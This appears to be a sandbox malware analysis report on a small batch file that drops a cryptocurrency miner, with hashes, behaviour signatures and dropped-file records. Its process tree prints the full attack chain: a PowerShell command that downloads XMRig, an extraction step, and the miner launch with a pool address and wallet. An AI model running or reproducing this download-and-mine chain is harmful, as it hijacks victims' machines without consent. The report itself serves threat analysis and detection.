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Analysis

  • max time kernel
    1810s
  • max time network
    1828s
  • platform
    windows10-1703_x64
  • resource
    win10-20231215-en
  • resource tags

    arch:x64arch:x86image:win10-20231215-enlocale:en-usos:windows10-1703-x64system
  • submitted
    30/12/2023, 01:27

General

  • Target

    tesy - Copy (4).bat

  • Size

    608B

  • MD5

    727c8da0478af118c957ae60f7161cab

  • SHA1

    cf18105b8659e93bbd2824fa35ef1bae7b395301

  • SHA256

    97db0437ecb6f401a4674dceead7b17a885241f2ab2495652863d2240f3bedab

  • SHA512

    d9cbb46d5f3caa92d3b44301bc96ccfd5552f2ab3e5460362db3b59d23e0a5c34bf78e9387009092ac5c92b4423c03789aa1fc824a4e1388a1363daa6ab54e01

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip

Signatures

  • XMRig Miner payload 64 IoCs
  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Blocklisted process makes network request 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 6 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\tesy - Copy (4).bat"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:4580
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "(New-Object System.Net.WebClient).DownloadFile('https://github.com/xmrig/xmrig/releases/download/v6.21.0/xmrig-6.21.0-gcc-win64.zip', 'xmrig-6.21.0-gcc-win64.zip')"
      2⤵
      • Blocklisted process makes network request
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2380
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -command "Expand-Archive -Path 'xmrig-6.21.0-gcc-win64.zip' -DestinationPath '.'"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:4284
    • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe
      xmrig.exe --url pool.hashvault.pro:80 --user 42BWpXvTvDbHpMyHrnjqBA5bqjnB9z65fGakJV9dQuHSS7pRkpoyx5T4vE4pUjJxPoPrLCAerjoKwdMTQKZNNEqo6zoLmPJ --pass tria2 --donate-level 1 --tls --tls-fingerprint 420c7850e09b7c0bdcf748a7da9eb3647daf8515718f36d9ccfdd6b9ff834b14
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      PID:4412

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

    Filesize

    3KB

    MD5

    42d4b1d78e6e092af15c7aef34e5cf45

    SHA1

    6cf9d0e674430680f67260194d3185667a2bb77b

    SHA256

    c4089b4313f7b8b74956faa2c4e15b9ffb1d9e5e29ac7e00a20c48b8f7aef5e0

    SHA512

    d31f065208766eea61facc91b23babb4c94906fb564dc06d114cbbc4068516f94032c764c188bed492509010c5dbe61f096d3e986e0ae3e70a170a9986458930

  • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

    Filesize

    1KB

    MD5

    943b7f51b5dd8b4e491bf8cb7c228ac5

    SHA1

    a43f6d5d9a6d26a11ccbb849e3309e2d84ad6677

    SHA256

    0ab5bc6b267ae36468c4553815988d94b3d94dd0fe60402174ee4664f8fbeda7

    SHA512

    0321c1f5162e5d581f327066f3940890d2dcc011fcdaaa14ace0863933a49683ed8baccf20918b4caf1a70a1f32bed5ef36809c4cddc2f9bf702ccfb813e3fe3

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xnq3zkia.wku.ps1

    Filesize

    1B

    MD5

    c4ca4238a0b923820dcc509a6f75849b

    SHA1

    356a192b7913b04c54574d18c28d46e6395428ab

    SHA256

    6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

    SHA512

    4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0-gcc-win64.zip

    Filesize

    953KB

    MD5

    32222dc53a66ce602fabb0152b390834

    SHA1

    da79bd0ed9f2412d1a2561f5782e331f23c03972

    SHA256

    d50eae3934f40109166f50e9bfbb4917097bdde69f519dca5f7f487a964bfb80

    SHA512

    596c4c1047a2c029b9dcbdaeb63ef9ed1a080ce133dad50a356e2141dcdbb4a9d99265d0af0f21ca0dcf11a6684b28a1b1685d1ddfbf76486f936cc522c3aece

  • C:\Users\Admin\AppData\Local\Temp\xmrig-6.21.0\xmrig.exe

    Filesize

    24KB

    MD5

    78232a3407dc4064b5986d2d322d3ba2

    SHA1

    51eef4cdc29aa2166e0c909635712ef93288e3a0

    SHA256

    45139d6214c6da4d5d850353185b82a869859cb798b216377b48a7b91864102a

    SHA512

    11531858076447bd3156e01b7293e5e686f9638e0c33dab54106568142149dc9175d475d1928675b4732b63251097a810de9d3f9011e710df05eb2e6698f6ff7

  • memory/2380-4-0x000002C35FEC0000-0x000002C35FEE2000-memory.dmp

    Filesize

    136KB

  • memory/2380-6-0x00007FFF53FC0000-0x00007FFF549AC000-memory.dmp

    Filesize

    9.9MB

  • memory/2380-8-0x000002C347BB0000-0x000002C347BC0000-memory.dmp

    Filesize

    64KB

  • memory/2380-9-0x000002C347BB0000-0x000002C347BC0000-memory.dmp

    Filesize

    64KB

  • memory/2380-10-0x000002C360070000-0x000002C3600E6000-memory.dmp

    Filesize

    472KB

  • memory/2380-25-0x000002C347BB0000-0x000002C347BC0000-memory.dmp

    Filesize

    64KB

  • memory/2380-30-0x00007FFF53FC0000-0x00007FFF549AC000-memory.dmp

    Filesize

    9.9MB

  • memory/4284-36-0x00007FFF53FC0000-0x00007FFF549AC000-memory.dmp

    Filesize

    9.9MB

  • memory/4284-39-0x0000019C33990000-0x0000019C339A0000-memory.dmp

    Filesize

    64KB

  • memory/4284-37-0x0000019C33990000-0x0000019C339A0000-memory.dmp

    Filesize

    64KB

  • memory/4284-63-0x0000019C33990000-0x0000019C339A0000-memory.dmp

    Filesize

    64KB

  • memory/4284-76-0x0000019C4BC90000-0x0000019C4BCA2000-memory.dmp

    Filesize

    72KB

  • memory/4284-89-0x0000019C4BC70000-0x0000019C4BC7A000-memory.dmp

    Filesize

    40KB

  • memory/4284-113-0x00007FFF53FC0000-0x00007FFF549AC000-memory.dmp

    Filesize

    9.9MB

  • memory/4412-141-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-151-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-118-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-119-0x0000020FF4C30000-0x0000020FF4C50000-memory.dmp

    Filesize

    128KB

  • memory/4412-120-0x0000020FF4C50000-0x0000020FF4C70000-memory.dmp

    Filesize

    128KB

  • memory/4412-121-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-122-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-123-0x0000020FF4C30000-0x0000020FF4C50000-memory.dmp

    Filesize

    128KB

  • memory/4412-124-0x0000020FF4C50000-0x0000020FF4C70000-memory.dmp

    Filesize

    128KB

  • memory/4412-125-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-126-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-127-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-128-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-129-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-130-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-131-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-132-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-133-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-134-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-135-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-136-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-137-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-138-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-139-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-140-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-116-0x0000020FF31F0000-0x0000020FF3210000-memory.dmp

    Filesize

    128KB

  • memory/4412-142-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-143-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-144-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-145-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-146-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-147-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-148-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-149-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-150-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-117-0x0000020FF4BF0000-0x0000020FF4C30000-memory.dmp

    Filesize

    256KB

  • memory/4412-152-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-153-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-154-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-155-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-156-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-157-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-158-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-159-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-160-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-161-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-162-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-163-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-164-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-165-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-166-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-167-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-168-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-169-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-170-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-171-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-172-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-173-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-174-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-175-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-176-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-177-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-178-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-179-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-180-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-181-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-182-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-183-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB

  • memory/4412-184-0x00007FF79A990000-0x00007FF79B493000-memory.dmp

    Filesize

    11.0MB